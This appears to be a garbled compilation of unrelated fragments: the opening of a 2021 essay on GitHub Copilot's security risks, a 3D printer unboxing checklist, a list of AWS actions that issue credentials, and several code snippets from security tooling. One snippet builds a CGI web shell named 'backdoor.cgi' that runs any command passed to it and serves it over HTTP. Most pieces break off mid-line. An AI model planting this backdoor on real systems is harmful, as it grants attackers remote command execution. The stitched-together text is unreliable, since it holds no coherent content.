Adam Schaal clevernyyyy

Risk Assessment of GitHub Copilot

0xabad1dea, July 2021

this is a rough draft and may be updated with more examples

GitHub was kind enough to grant me swift access to the Copilot test phase despite me @'ing them several hundred times about ICE. I would like to examine it not in terms of productivity, but security. How risky is it to allow an AI to write some or all of your code?

Ultimately, a human being must take responsibility for every line of code that is committed. AI should not be used for "responsibility washing." However, Copilot is a tool, and workers need their tools to be reliable. A carpenter doesn't have to

CR-6 post-unboxing checklist

With most of the CR-6 SE issues being due to bad wiring or loose/too tight screws I feel like it is time for a good post-unboxing checklist, to be walked through pre-assembly. Even though I do not have my unit shipped yet, I've seen enough issues and fixes that I can compile this post.

I initially posted this on the independent CR-6 community Facebook group but since not everyone wants to use Facebook (which I totally understand), I will repost it here. I mirrored most of the relevant content of Facebook to imgur.

If you have any feedback or anything that needs to be added, please let me know and I will amend this post!

Note: There are some known issues with this printer - please read the entire guide. (It is long, I know, but this is a necessary evil!)

Communities

chime:CreateApiKey
codepipeline:PollForJobs
cognito-identity:GetOpenIdToken
cognito-identity:GetOpenIdTokenForDeveloperIdentity
cognito-identity:GetCredentialsForIdentity
connect:GetFederationToken
connect:GetFederationTokens
ecr:GetAuthorizationToken
[gamelift:RequestUploadCredentials](ht

	import requests
	import random
	import string
	import sys
	import time
	import requests
	import urllib3
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

	def id_generator(size=6, chars=string.ascii_lowercase + string.digits):

	cd /tmp
	mkdir cgi-bin
	echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
	echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
	echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
	chmod +x ./cgi-bin/backdoor.cgi
	python -m http.server --cgi

	# Copyright 2017-2020 Jeff Foley. All rights reserved.
	# Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

	# Should results only be collected passively and without DNS resolution? Not recommended.
	#mode = passive
	mode = active

	# The directory that stores the Cayley graph database and other output files
	# The default for Linux systems is: $HOME/.config/amass
	#output_directory = amass

	#!/usr/bin/python3

	import ssl,sys,json

	cert = ssl.get_server_certificate((sys.argv[1], 443)) #Retrieve SSL server certificate
	cert = ssl.PEM_cert_to_DER_cert(cert) #Convert certificate to DER format
	begin = cert.rfind(b'\x06\x03\x55\x04\x03') + 7 #Find the last occurence of this byte string indicating the CN, add 7 bytes to startpoint to account for length of byte string and padding
	end = begin + cert[begin - 1] #Set endpoint to startpoint + the length of the CN
	jsondata = {"ip": sys.argv[1], "cn": cert[begin:end].decode('utf-8')}
	print(json.dumps(jsondata))

	FROM python:slim

	ENV PYTHONDONTWRITEBYTECODE 1
	ENV PYTHONUNBUFFERED 1
	ENV TZ America/New_York

	RUN mkdir -p /src

	WORKDIR /src